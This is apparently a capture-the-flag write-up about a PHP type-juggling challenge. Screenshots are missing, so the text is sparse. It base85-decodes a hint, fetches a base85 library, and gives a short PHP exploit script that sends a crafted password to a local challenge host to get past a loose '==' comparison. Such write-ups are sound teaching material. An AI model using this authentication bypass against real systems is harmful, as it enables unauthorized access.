image.png

In this case, we are given the source code for the webpage.

image.png

The == in PHP is less strict than if === were used.

By base85 decoding the fragment given 0P)s using CyberChef, we get this:

image.png

This is a classic Juggling challenge:

What’s the easiest way to accomplish this?

It would make sense to use the same encoding library used by the application.

image.png

wget the .php file as seen below

https://raw.githubusercontent.com/scottchiefbaker/php-base85/refs/heads/master/base85.class.php 

image.png

exploit.php.php

<?php

include "./base85.class.php";

$encoded_string = "0000";

$decoded_string = base85::decode($encoded_string);

$url = "http://ctf.local:9000/85/index.php?password=" . urlencode($decoded_string);

$response = file_get_contents($url);

echo "Response from server:\n";

echo $response;
?>